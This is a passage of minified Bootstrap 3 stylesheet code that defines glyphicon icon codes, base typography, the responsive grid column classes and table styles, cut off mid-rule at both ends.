Halflings';font-style:normal;font-weight:400;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.glyphicon-asterisk:before{content:"\002a"}.glyphicon-plus:before{content:"\002b"}.glyphicon-eur:before,.glyphicon-euro:before{content:"\20ac"}.glyphicon-minus:before{content:"\2212"}.glyphicon-cloud:before{content:"\2601"}.glyphicon-envelope:before{content:"\2709"}.glyphicon-pencil:before{content:"\270f"}.glyphicon-glass:before{content:"\e001"}.glyphicon-music:before{content:"\e002"}.glyphicon-search:before{content:"\e003"}.glyphicon-heart:before{content:"\e005"}.glyphicon-star:before{content:"\e006"}.glyphicon-star-empty:before{content:"\e007"}.glyphicon-user:before{content:"\e008"}.glyphicon-film:before{content:"\e009"}.glyphicon-th-large:before{content:"\e010"}.glyphicon-th:before{content:"\e011"}.glyphicon-th-list:before{content:"\e012"}.glyphicon-ok:before{content:"\e013"}.glyphicon-remove:before{content:"\e014"}.glyphicon-zoom-in:before{content:"\e015"}.glyphicon-zoom-out:before{content:"\e016"}.glyphicon-off:before{content:"\e017"}.glyphicon-signal:before{content:"\e018"}.glyphicon-cog:before{content:"\e019"}.glyphicon-trash:before{content:"\e020"}.glyphicon-home:before{content:"\e021"}.glyphicon-file:before{content:"\e022"}.glyphicon-time:before{content:"\e023"}.glyphicon-road:before{content:"\e024"}.glyphicon-download-alt:before{content:"\e025"}.glyphicon-download:before{content:"\e026"}.glyphicon-upload:before{content:"\e027"}.glyphicon-inbox:before{content:"\e028"}.glyphicon-play-circle:before{content:"\e029"}.glyphicon-repeat:before{content:"\e030"}.glyphicon-refresh:before{content:"\e031"}.glyphicon-list-alt:before{content:"\e032"}.glyphicon-lock:before{content:"\e033"}.glyphicon-flag:before{content:"\e034"}.glyphicon-headphones:before{content:"\e035"}.glyphicon-volume-off:before{content:"\e036"}.glyphicon-volume-down:before{content:"\e037"}.glyphicon-volume-up:before{content:"\e038"}.glyphicon-qrcode:before{content:"\e039"}.glyphicon-barcode:before{content:"\e040"}.glyphicon-tag:before{content:"\e041"}.glyphicon-tags:before{content:"\e042"}.glyphicon-book:before{content:"\e043"}.glyphicon-bookmark:before{content:"\e044"}.glyphicon-print:before{content:"\e045"}.glyphicon-camera:before{content:"\e046"}.glyphicon-font:before{content:"\e047"}.glyphicon-bold:before{content:"\e048"}.glyphicon-italic:before{content:"\e049"}.glyphicon-text-height:before{content:"\e050"}.glyphicon-text-width:before{content:"\e051"}.glyphicon-align-left:before{content:"\e052"}.glyphicon-align-center:before{content:"\e053"}.glyphicon-align-right:before{content:"\e054"}.glyphicon-align-justify:before{content:"\e055"}.glyphicon-list:before{content:"\e056"}.glyphicon-indent-left:before{content:"\e057"}.glyphicon-indent-right:before{content:"\e058"}.glyphicon-facetime-video:before{content:"\e059"}.glyphicon-picture:before{content:"\e060"}.glyphicon-map-marker:before{content:"\e062"}.glyphicon-adjust:before{content:"\e063"}.glyphicon-tint:before{content:"\e064"}.glyphicon-edit:before{content:"\e065"}.glyphicon-share:before{content:"\e066"}.glyphicon-check:before{content:"\e067"}.glyphicon-move:before{content:"\e068"}.glyphicon-step-backward:before{content:"\e069"}.glyphicon-fast-backward:before{content:"\e070"}.glyphicon-backward:before{content:"\e071"}.glyphicon-play:before{content:"\e072"}.glyphicon-pause:before{content:"\e073"}.glyphicon-stop:before{content:"\e074"}.glyphicon-forward:before{content:"\e075"}.glyphicon-fast-forward:before{content:"\e076"}.glyphicon-step-forward:before{content:"\e077"}.glyphicon-eject:before{content:"\e078"}.glyphicon-chevron-left:before{content:"\e079"}.glyphicon-chevron-right:before{content:"\e080"}.glyphicon-plus-sign:before{content:"\e081"}.glyphicon-minus-sign:before{content:"\e082"}.glyphicon-remove-sign:before{content:"\e083"}.glyphicon-ok-sign:before{content:"\e084"}.glyphicon-question-sign:before{content:"\e085"}.glyphicon-info-sign:before{content:"\e086"}.glyphicon-screenshot:before{content:"\e087"}.glyphicon-remove-circle:before{content:"\e088"}.glyphicon-ok-circle:before{content:"\e089"}.glyphicon-ban-circle:before{content:"\e090"}.glyphicon-arrow-left:before{content:"\e091"}.glyphicon-arrow-right:before{content:"\e092"}.glyphicon-arrow-up:before{content:"\e093"}.glyphicon-arrow-down:before{content:"\e094"}.glyphicon-share-alt:before{content:"\e095"}.glyphicon-resize-full:before{content:"\e096"}.glyphicon-resize-small:before{content:"\e097"}.glyphicon-exclamation-sign:before{content:"\e101"}.glyphicon-gift:before{content:"\e102"}.glyphicon-leaf:before{content:"\e103"}.glyphicon-fire:before{content:"\e104"}.glyphicon-eye-open:before{content:"\e105"}.glyphicon-eye-close:before{content:"\e106"}.glyphicon-warning-sign:before{content:"\e107"}.glyphicon-plane:before{content:"\e108"}.glyphicon-calendar:before{content:"\e109"}.glyphicon-random:before{content:"\e110"}.glyphicon-comment:before{content:"\e111"}.glyphicon-magnet:before{content:"\e112"}.glyphicon-chevron-up:before{content:"\e113"}.glyphicon-chevron-down:before{content:"\e114"}.glyphicon-retweet:before{content:"\e115"}.glyphicon-shopping-cart:before{content:"\e116"}.glyphicon-folder-close:before{content:"\e117"}.glyphicon-folder-open:before{content:"\e118"}.glyphicon-resize-vertical:before{content:"\e119"}.glyphicon-resize-horizontal:before{content:"\e120"}.glyphicon-hdd:before{content:"\e121"}.glyphicon-bullhorn:before{content:"\e122"}.glyphicon-bell:before{content:"\e123"}.glyphicon-certificate:before{content:"\e124"}.glyphicon-thumbs-up:before{content:"\e125"}.glyphicon-thumbs-down:before{content:"\e126"}.glyphicon-hand-right:before{content:"\e127"}.glyphicon-hand-left:before{content:"\e128"}.glyphicon-hand-up:before{content:"\e129"}.glyphicon-hand-down:before{content:"\e130"}.glyphicon-circle-arrow-right:before{content:"\e131"}.glyphicon-circle-arrow-left:before{content:"\e132"}.glyphicon-circle-arrow-up:before{content:"\e133"}.glyphicon-circle-arrow-down:before{content:"\e134"}.glyphicon-globe:before{content:"\e135"}.glyphicon-wrench:before{content:"\e136"}.glyphicon-tasks:before{content:"\e137"}.glyphicon-filter:before{content:"\e138"}.glyphicon-briefcase:before{content:"\e139"}.glyphicon-fullscreen:before{content:"\e140"}.glyphicon-dashboard:before{content:"\e141"}.glyphicon-paperclip:before{content:"\e142"}.glyphicon-heart-empty:before{content:"\e143"}.glyphicon-link:before{content:"\e144"}.glyphicon-phone:before{content:"\e145"}.glyphicon-pushpin:before{content:"\e146"}.glyphicon-usd:before{content:"\e148"}.glyphicon-gbp:before{content:"\e149"}.glyphicon-sort:before{content:"\e150"}.glyphicon-sort-by-alphabet:before{content:"\e151"}.glyphicon-sort-by-alphabet-alt:before{content:"\e152"}.glyphicon-sort-by-order:before{content:"\e153"}.glyphicon-sort-by-order-alt:before{content:"\e154"}.glyphicon-sort-by-attributes:before{content:"\e155"}.glyphicon-sort-by-attributes-alt:before{content:"\e156"}.glyphicon-unchecked:before{content:"\e157"}.glyphicon-expand:before{content:"\e158"}.glyphicon-collapse-down:before{content:"\e159"}.glyphicon-collapse-up:before{content:"\e160"}.glyphicon-log-in:before{content:"\e161"}.glyphicon-flash:before{content:"\e162"}.glyphicon-log-out:before{content:"\e163"}.glyphicon-new-window:before{content:"\e164"}.glyphicon-record:before{content:"\e165"}.glyphicon-save:before{content:"\e166"}.glyphicon-open:before{content:"\e167"}.glyphicon-saved:before{content:"\e168"}.glyphicon-import:before{content:"\e169"}.glyphicon-export:before{content:"\e170"}.glyphicon-send:before{content:"\e171"}.glyphicon-floppy-disk:before{content:"\e172"}.glyphicon-floppy-saved:before{content:"\e173"}.glyphicon-floppy-remove:before{content:"\e174"}.glyphicon-floppy-save:before{content:"\e175"}.glyphicon-floppy-open:before{content:"\e176"}.glyphicon-credit-card:before{content:"\e177"}.glyphicon-transfer:before{content:"\e178"}.glyphicon-cutlery:before{content:"\e179"}.glyphicon-header:before{content:"\e180"}.glyphicon-compressed:before{content:"\e181"}.glyphicon-earphone:before{content:"\e182"}.glyphicon-phone-alt:before{content:"\e183"}.glyphicon-tower:before{content:"\e184"}.glyphicon-stats:before{content:"\e185"}.glyphicon-sd-video:before{content:"\e186"}.glyphicon-hd-video:before{content:"\e187"}.glyphicon-subtitles:before{content:"\e188"}.glyphicon-sound-stereo:before{content:"\e189"}.glyphicon-sound-dolby:before{content:"\e190"}.glyphicon-sound-5-1:before{content:"\e191"}.glyphicon-sound-6-1:before{content:"\e192"}.glyphicon-sound-7-1:before{content:"\e193"}.glyphicon-copyright-mark:before{content:"\e194"}.glyphicon-registration-mark:before{content:"\e195"}.glyphicon-cloud-download:before{content:"\e197"}.glyphicon-cloud-upload:before{content:"\e198"}.glyphicon-tree-conifer:before{content:"\e199"}.glyphicon-tree-deciduous:before{content:"\e200"}.glyphicon-cd:before{content:"\e201"}.glyphicon-save-file:before{content:"\e202"}.glyphicon-open-file:before{content:"\e203"}.glyphicon-level-up:before{content:"\e204"}.glyphicon-copy:before{content:"\e205"}.glyphicon-paste:before{content:"\e206"}.glyphicon-alert:before{content:"\e209"}.glyphicon-equalizer:before{content:"\e210"}.glyphicon-king:before{content:"\e211"}.glyphicon-queen:before{content:"\e212"}.glyphicon-pawn:before{content:"\e213"}.glyphicon-bishop:before{content:"\e214"}.glyphicon-knight:before{content:"\e215"}.glyphicon-baby-formula:before{content:"\e216"}.glyphicon-tent:before{content:"\26fa"}.glyphicon-blackboard:before{content:"\e218"}.glyphicon-bed:before{content:"\e219"}.glyphicon-apple:before{content:"\f8ff"}.glyphicon-erase:before{content:"\e221"}.glyphicon-hourglass:before{content:"\231b"}.glyphicon-lamp:before{content:"\e223"}.glyphicon-duplicate:before{content:"\e224"}.glyphicon-piggy-bank:before{content:"\e225"}.glyphicon-scissors:before{content:"\e226"}.glyphicon-bitcoin:before{content:"\e227"}.glyphicon-btc:before{content:"\e227"}.glyphicon-xbt:before{content:"\e227"}.glyphicon-yen:before{content:"\00a5"}.glyphicon-jpy:before{content:"\00a5"}.glyphicon-ruble:before{content:"\20bd"}.glyphicon-rub:before{content:"\20bd"}.glyphicon-scale:before{content:"\e230"}.glyphicon-ice-lolly:before{content:"\e231"}.glyphicon-ice-lolly-tasted:before{content:"\e232"}.glyphicon-education:before{content:"\e233"}.glyphicon-option-horizontal:before{content:"\e234"}.glyphicon-option-vertical:before{content:"\e235"}.glyphicon-menu-hamburger:before{content:"\e236"}.glyphicon-modal-window:before{content:"\e237"}.glyphicon-oil:before{content:"\e238"}.glyphicon-grain:before{content:"\e239"}.glyphicon-sunglasses:before{content:"\e240"}.glyphicon-text-size:before{content:"\e241"}.glyphicon-text-color:before{content:"\e242"}.glyphicon-text-background:before{content:"\e243"}.glyphicon-object-align-top:before{content:"\e244"}.glyphicon-object-align-bottom:before{content:"\e245"}.glyphicon-object-align-horizontal:before{content:"\e246"}.glyphicon-object-align-left:before{content:"\e247"}.glyphicon-object-align-vertical:before{content:"\e248"}.glyphicon-object-align-right:before{content:"\e249"}.glyphicon-triangle-right:before{content:"\e250"}.glyphicon-triangle-left:before{content:"\e251"}.glyphicon-triangle-bottom:before{content:"\e252"}.glyphicon-triangle-top:before{content:"\e253"}.glyphicon-console:before{content:"\e254"}.glyphicon-superscript:before{content:"\e255"}.glyphicon-subscript:before{content:"\e256"}.glyphicon-menu-left:before{content:"\e257"}.glyphicon-menu-right:before{content:"\e258"}.glyphicon-menu-down:before{content:"\e259"}.glyphicon-menu-up:before{content:"\e260"}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:10px;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:1.42857143;color:#333;background-color:#fff}button,input,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#337ab7;text-decoration:none}a:focus,a:hover{color:#23527c;text-decoration:underline}a:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}figure{margin:0}img{vertical-align:middle}.carousel-inner>.item>a>img,.carousel-inner>.item>img,.img-responsive,.thumbnail a>img,.thumbnail>img{display:block;max-width:100%;height:auto}.img-rounded{border-radius:6px}.img-thumbnail{display:inline-block;max-width:100%;height:auto;padding:4px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.img-circle{border-radius:50%}hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}[role=button]{cursor:pointer}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}.h1 .small,.h1 small,.h2 .small,.h2 small,.h3 .small,.h3 small,.h4 .small,.h4 small,.h5 .small,.h5 small,.h6 .small,.h6 small,h1 .small,h1 small,h2 .small,h2 small,h3 .small,h3 small,h4 .small,h4 small,h5 .small,h5 small,h6 .small,h6 small{font-weight:400;line-height:1;color:#777}.h1,.h2,.h3,h1,h2,h3{margin-top:20px;margin-bottom:10px}.h1 .small,.h1 small,.h2 .small,.h2 small,.h3 .small,.h3 small,h1 .small,h1 small,h2 .small,h2 small,h3 .small,h3 small{font-size:65%}.h4,.h5,.h6,h4,h5,h6{margin-top:10px;margin-bottom:10px}.h4 .small,.h4 small,.h5 .small,.h5 small,.h6 .small,.h6 small,h4 .small,h4 small,h5 .small,h5 small,h6 .small,h6 small{font-size:75%}.h1,h1{font-size:36px}.h2,h2{font-size:30px}.h3,h3{font-size:24px}.h4,h4{font-size:18px}.h5,h5{font-size:14px}.h6,h6{font-size:12px}p{margin:0 0 10px}.lead{margin-bottom:20px;font-size:16px;font-weight:300;line-height:1.4}@media(min-width:768px){.lead{font-size:21px}}.small,small{font-size:85%}.mark,mark{padding:.2em;background-color:#fcf8e3}.text-left{text-align:left}.text-right{text-align:right}.text-center{text-align:center}.text-justify{text-align:justify}.text-nowrap{white-space:nowrap}.text-lowercase{text-transform:lowercase}.text-uppercase{text-transform:uppercase}.text-capitalize{text-transform:capitalize}.text-muted{color:#777}.text-primary{color:#337ab7}a.text-primary:focus,a.text-primary:hover{color:#286090}.text-success{color:#3c763d}a.text-success:focus,a.text-success:hover{color:#2b542c}.text-info{color:#31708f}a.text-info:focus,a.text-info:hover{color:#245269}.text-warning{color:#8a6d3b}a.text-warning:focus,a.text-warning:hover{color:#66512c}.text-danger{color:#a94442}a.text-danger:focus,a.text-danger:hover{color:#843534}.bg-primary{color:#fff;background-color:#337ab7}a.bg-primary:focus,a.bg-primary:hover{background-color:#286090}.bg-success{background-color:#dff0d8}a.bg-success:focus,a.bg-success:hover{background-color:#c1e2b3}.bg-info{background-color:#d9edf7}a.bg-info:focus,a.bg-info:hover{background-color:#afd9ee}.bg-warning{background-color:#fcf8e3}a.bg-warning:focus,a.bg-warning:hover{background-color:#f7ecb5}.bg-danger{background-color:#f2dede}a.bg-danger:focus,a.bg-danger:hover{background-color:#e4b9b9}.page-header{padding-bottom:9px;margin:40px 0 20px;border-bottom:1px solid #eee}ol,ul{margin-top:0;margin-bottom:10px}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;margin-left:-5px;list-style:none}.list-inline>li{display:inline-block;padding-right:5px;padding-left:5px}dl{margin-top:0;margin-bottom:20px}dd,dt{line-height:1.42857143}dt{font-weight:700}dd{margin-left:0}@media(min-width:768px){.dl-horizontal dt{float:left;width:160px;overflow:hidden;clear:left;text-align:right;text-overflow:ellipsis;white-space:nowrap}.dl-horizontal dd{margin-left:180px}}abbr[data-original-title],abbr[title]{cursor:help;border-bottom:1px dotted #777}.initialism{font-size:90%;text-transform:uppercase}blockquote{padding:10px 20px;margin:0 0 20px;font-size:17.5px;border-left:5px solid #eee}blockquote ol:last-child,blockquote p:last-child,blockquote ul:last-child{margin-bottom:0}blockquote .small,blockquote footer,blockquote small{display:block;font-size:80%;line-height:1.42857143;color:#777}blockquote .small:before,blockquote footer:before,blockquote small:before{content:'\2014 \00A0'}.blockquote-reverse,blockquote.pull-right{padding-right:15px;padding-left:0;text-align:right;border-right:5px solid #eee;border-left:0}.blockquote-reverse .small:before,.blockquote-reverse footer:before,.blockquote-reverse small:before,blockquote.pull-right .small:before,blockquote.pull-right footer:before,blockquote.pull-right small:before{content:''}.blockquote-reverse .small:after,.blockquote-reverse footer:after,.blockquote-reverse small:after,blockquote.pull-right .small:after,blockquote.pull-right footer:after,blockquote.pull-right small:after{content:'\00A0 \2014'}address{margin-bottom:20px;font-style:normal;line-height:1.42857143}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,"Courier New",monospace}code{padding:2px 4px;font-size:90%;color:#c7254e;background-color:#f9f2f4;border-radius:4px}kbd{padding:2px 4px;font-size:90%;color:#fff;background-color:#333;border-radius:3px;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.25);box-shadow:inset 0 -1px 0 rgba(0,0,0,.25)}kbd kbd{padding:0;font-size:100%;font-weight:700;-webkit-box-shadow:none;box-shadow:none}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:1.42857143;color:#333;word-break:break-all;word-wrap:break-word;background-color:#f5f5f5;border:1px solid #ccc;border-radius:4px}pre code{padding:0;font-size:inherit;color:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media(min-width:768px){.container{width:750px}}@media(min-width:992px){.container{width:970px}}@media(min-width:1200px){.container{width:1170px}}.container-fluid{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{margin-right:-15px;margin-left:-15px}.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-xs-1,.col-xs-10,.col-xs-11,.col-xs-12,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9{position:relative;min-height:1px;padding-right:15px;padding-left:15px}.col-xs-1,.col-xs-10,.col-xs-11,.col-xs-12,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9{float:left}.col-xs-12{width:100%}.col-xs-11{width:91.66666667%}.col-xs-10{width:83.33333333%}.col-xs-9{width:75%}.col-xs-8{width:66.66666667%}.col-xs-7{width:58.33333333%}.col-xs-6{width:50%}.col-xs-5{width:41.66666667%}.col-xs-4{width:33.33333333%}.col-xs-3{width:25%}.col-xs-2{width:16.66666667%}.col-xs-1{width:8.33333333%}.col-xs-pull-12{right:100%}.col-xs-pull-11{right:91.66666667%}.col-xs-pull-10{right:83.33333333%}.col-xs-pull-9{right:75%}.col-xs-pull-8{right:66.66666667%}.col-xs-pull-7{right:58.33333333%}.col-xs-pull-6{right:50%}.col-xs-pull-5{right:41.66666667%}.col-xs-pull-4{right:33.33333333%}.col-xs-pull-3{right:25%}.col-xs-pull-2{right:16.66666667%}.col-xs-pull-1{right:8.33333333%}.col-xs-pull-0{right:auto}.col-xs-push-12{left:100%}.col-xs-push-11{left:91.66666667%}.col-xs-push-10{left:83.33333333%}.col-xs-push-9{left:75%}.col-xs-push-8{left:66.66666667%}.col-xs-push-7{left:58.33333333%}.col-xs-push-6{left:50%}.col-xs-push-5{left:41.66666667%}.col-xs-push-4{left:33.33333333%}.col-xs-push-3{left:25%}.col-xs-push-2{left:16.66666667%}.col-xs-push-1{left:8.33333333%}.col-xs-push-0{left:auto}.col-xs-offset-12{margin-left:100%}.col-xs-offset-11{margin-left:91.66666667%}.col-xs-offset-10{margin-left:83.33333333%}.col-xs-offset-9{margin-left:75%}.col-xs-offset-8{margin-left:66.66666667%}.col-xs-offset-7{margin-left:58.33333333%}.col-xs-offset-6{margin-left:50%}.col-xs-offset-5{margin-left:41.66666667%}.col-xs-offset-4{margin-left:33.33333333%}.col-xs-offset-3{margin-left:25%}.col-xs-offset-2{margin-left:16.66666667%}.col-xs-offset-1{margin-left:8.33333333%}.col-xs-offset-0{margin-left:0}@media(min-width:768px){.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9{float:left}.col-sm-12{width:100%}.col-sm-11{width:91.66666667%}.col-sm-10{width:83.33333333%}.col-sm-9{width:75%}.col-sm-8{width:66.66666667%}.col-sm-7{width:58.33333333%}.col-sm-6{width:50%}.col-sm-5{width:41.66666667%}.col-sm-4{width:33.33333333%}.col-sm-3{width:25%}.col-sm-2{width:16.66666667%}.col-sm-1{width:8.33333333%}.col-sm-pull-12{right:100%}.col-sm-pull-11{right:91.66666667%}.col-sm-pull-10{right:83.33333333%}.col-sm-pull-9{right:75%}.col-sm-pull-8{right:66.66666667%}.col-sm-pull-7{right:58.33333333%}.col-sm-pull-6{right:50%}.col-sm-pull-5{right:41.66666667%}.col-sm-pull-4{right:33.33333333%}.col-sm-pull-3{right:25%}.col-sm-pull-2{right:16.66666667%}.col-sm-pull-1{right:8.33333333%}.col-sm-pull-0{right:auto}.col-sm-push-12{left:100%}.col-sm-push-11{left:91.66666667%}.col-sm-push-10{left:83.33333333%}.col-sm-push-9{left:75%}.col-sm-push-8{left:66.66666667%}.col-sm-push-7{left:58.33333333%}.col-sm-push-6{left:50%}.col-sm-push-5{left:41.66666667%}.col-sm-push-4{left:33.33333333%}.col-sm-push-3{left:25%}.col-sm-push-2{left:16.66666667%}.col-sm-push-1{left:8.33333333%}.col-sm-push-0{left:auto}.col-sm-offset-12{margin-left:100%}.col-sm-offset-11{margin-left:91.66666667%}.col-sm-offset-10{margin-left:83.33333333%}.col-sm-offset-9{margin-left:75%}.col-sm-offset-8{margin-left:66.66666667%}.col-sm-offset-7{margin-left:58.33333333%}.col-sm-offset-6{margin-left:50%}.col-sm-offset-5{margin-left:41.66666667%}.col-sm-offset-4{margin-left:33.33333333%}.col-sm-offset-3{margin-left:25%}.col-sm-offset-2{margin-left:16.66666667%}.col-sm-offset-1{margin-left:8.33333333%}.col-sm-offset-0{margin-left:0}}@media(min-width:992px){.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9{float:left}.col-md-12{width:100%}.col-md-11{width:91.66666667%}.col-md-10{width:83.33333333%}.col-md-9{width:75%}.col-md-8{width:66.66666667%}.col-md-7{width:58.33333333%}.col-md-6{width:50%}.col-md-5{width:41.66666667%}.col-md-4{width:33.33333333%}.col-md-3{width:25%}.col-md-2{width:16.66666667%}.col-md-1{width:8.33333333%}.col-md-pull-12{right:100%}.col-md-pull-11{right:91.66666667%}.col-md-pull-10{right:83.33333333%}.col-md-pull-9{right:75%}.col-md-pull-8{right:66.66666667%}.col-md-pull-7{right:58.33333333%}.col-md-pull-6{right:50%}.col-md-pull-5{right:41.66666667%}.col-md-pull-4{right:33.33333333%}.col-md-pull-3{right:25%}.col-md-pull-2{right:16.66666667%}.col-md-pull-1{right:8.33333333%}.col-md-pull-0{right:auto}.col-md-push-12{left:100%}.col-md-push-11{left:91.66666667%}.col-md-push-10{left:83.33333333%}.col-md-push-9{left:75%}.col-md-push-8{left:66.66666667%}.col-md-push-7{left:58.33333333%}.col-md-push-6{left:50%}.col-md-push-5{left:41.66666667%}.col-md-push-4{left:33.33333333%}.col-md-push-3{left:25%}.col-md-push-2{left:16.66666667%}.col-md-push-1{left:8.33333333%}.col-md-push-0{left:auto}.col-md-offset-12{margin-left:100%}.col-md-offset-11{margin-left:91.66666667%}.col-md-offset-10{margin-left:83.33333333%}.col-md-offset-9{margin-left:75%}.col-md-offset-8{margin-left:66.66666667%}.col-md-offset-7{margin-left:58.33333333%}.col-md-offset-6{margin-left:50%}.col-md-offset-5{margin-left:41.66666667%}.col-md-offset-4{margin-left:33.33333333%}.col-md-offset-3{margin-left:25%}.col-md-offset-2{margin-left:16.66666667%}.col-md-offset-1{margin-left:8.33333333%}.col-md-offset-0{margin-left:0}}@media(min-width:1200px){.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9{float:left}.col-lg-12{width:100%}.col-lg-11{width:91.66666667%}.col-lg-10{width:83.33333333%}.col-lg-9{width:75%}.col-lg-8{width:66.66666667%}.col-lg-7{width:58.33333333%}.col-lg-6{width:50%}.col-lg-5{width:41.66666667%}.col-lg-4{width:33.33333333%}.col-lg-3{width:25%}.col-lg-2{width:16.66666667%}.col-lg-1{width:8.33333333%}.col-lg-pull-12{right:100%}.col-lg-pull-11{right:91.66666667%}.col-lg-pull-10{right:83.33333333%}.col-lg-pull-9{right:75%}.col-lg-pull-8{right:66.66666667%}.col-lg-pull-7{right:58.33333333%}.col-lg-pull-6{right:50%}.col-lg-pull-5{right:41.66666667%}.col-lg-pull-4{right:33.33333333%}.col-lg-pull-3{right:25%}.col-lg-pull-2{right:16.66666667%}.col-lg-pull-1{right:8.33333333%}.col-lg-pull-0{right:auto}.col-lg-push-12{left:100%}.col-lg-push-11{left:91.66666667%}.col-lg-push-10{left:83.33333333%}.col-lg-push-9{left:75%}.col-lg-push-8{left:66.66666667%}.col-lg-push-7{left:58.33333333%}.col-lg-push-6{left:50%}.col-lg-push-5{left:41.66666667%}.col-lg-push-4{left:33.33333333%}.col-lg-push-3{left:25%}.col-lg-push-2{left:16.66666667%}.col-lg-push-1{left:8.33333333%}.col-lg-push-0{left:auto}.col-lg-offset-12{margin-left:100%}.col-lg-offset-11{margin-left:91.66666667%}.col-lg-offset-10{margin-left:83.33333333%}.col-lg-offset-9{margin-left:75%}.col-lg-offset-8{margin-left:66.66666667%}.col-lg-offset-7{margin-left:58.33333333%}.col-lg-offset-6{margin-left:50%}.col-lg-offset-5{margin-left:41.66666667%}.col-lg-offset-4{margin-left:33.33333333%}.col-lg-offset-3{margin-left:25%}.col-lg-offset-2{margin-left:16.66666667%}.col-lg-offset-1{margin-left:8.33333333%}.col-lg-offset-0{margin-left:0}}table{background-color:transparent}caption{padding-top:8px;padding-bottom:8px;color:#777;text-align:left}th{text-align:left}.table{width:100%;max-width:100%;margin-bottom:20px}.table>tbody>tr>td,.table>tbody>tr>th,.table>tfoot>tr>td,.table>tfoot>tr>th,.table>thead>tr>td,.table>thead>tr>th{padding:8px;line-height:1.42857143;vertical-align:top;border-top:1px solid #ddd}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #ddd}.table>caption+thead>tr:first-child>td,.table>caption+thead>tr:first-child>th,.table>colgroup+thead>tr:first-child>td,.table>colgroup+thead>tr:first-child>th,.table>thead:first-child>tr:first-child>td,.table>thead:first-child>tr:first-child>th{border-top:0}.table>tbody+tbody{border-top:2px solid #ddd}.table .table{background-color:#fff}.table-condensed>tbody>tr>td,.table-condensed>tbody>tr>th,.table-condensed>tfoot>tr>td,.table-condensed>tfoot>tr>th,.table-condensed>thead>tr>td,.table-condensed>thead>tr>th{padding:5px}.table-bordered{border:1px solid #ddd}.table-bordered>tbody>tr>td,.table-bordered>tbody>tr>th,.table-bordered>tfoot>tr>td,.table-bordered>tfoot>tr>th,.table-bordered>thead>tr>td,.table-bordered>thead>tr>th{border:1px solid #ddd}.table-bordered>thead>tr>td,.table-bordered>thead>tr>th{border-bottom-width:2px}.table-striped>tbody>tr:nth-of-type(odd){background-color:#f9f9f9}.table-hover>tbody>tr:hover{background-color:#f5f5f5}table col[class*=col-]{position:static;display:table-column;float:none}table td[class*=col-],table th[class*=col-]{position:static;display:table-cell;float:none}.table>tbody>tr.active>td,.table>tbody>tr.active>th,.table>tbody>tr>td.active,.table>tbody>tr>th.active,.table>tfoot>tr.active>td,.table>tfoot>tr.active>th,.table>tfoot>tr>td.active,.table>tfoot>tr>th.active,.table>thead>tr.active>td,.table>thead>tr.active>th,.table>thead>tr>td.active,.table>thead>tr>th.active{background-color:#f5f5f5}.table-hover>tbody>tr.active:hover>td,.table-hover>tbody>tr.active:hover>th,.table-hover>tbody>tr:hover>.active,.table-hover>tbody>tr>td.active:hover,.table-hover>tbody>tr>th.active:hover{background-color:#e8e8e8}.table>tbody>tr.success>td,.table>tbody>tr.success>th,.table>tbody>tr>td.success,.table>tbody>tr>th.success,.table>tfoot>tr.success>td,.table>tfoot>tr.success>th,.table>tfoot>tr>td.success,.table>tfoot>tr>th.success,.table>thead>tr.success>td,.table>thead>tr.success>th,.table>thead>tr>td.success,.table>thead>tr>th.success{background-color:#dff0d8}.table-hover>tbody>tr.success:hover>td,.table-hover>tbody>tr.success:hover>th,.table-hover>tbody>tr:hover>.success,.table-hover>tbody>tr>td.success:hover,.table-hover>tbody>tr>th.success:hover{background-color:#d0e9c6}.table>tbody>tr.info>td,.table>tbody>tr.info>th,.table>tbody>tr>td.info,.table>tbody>tr>th.info,.table>tfoot>tr.info>t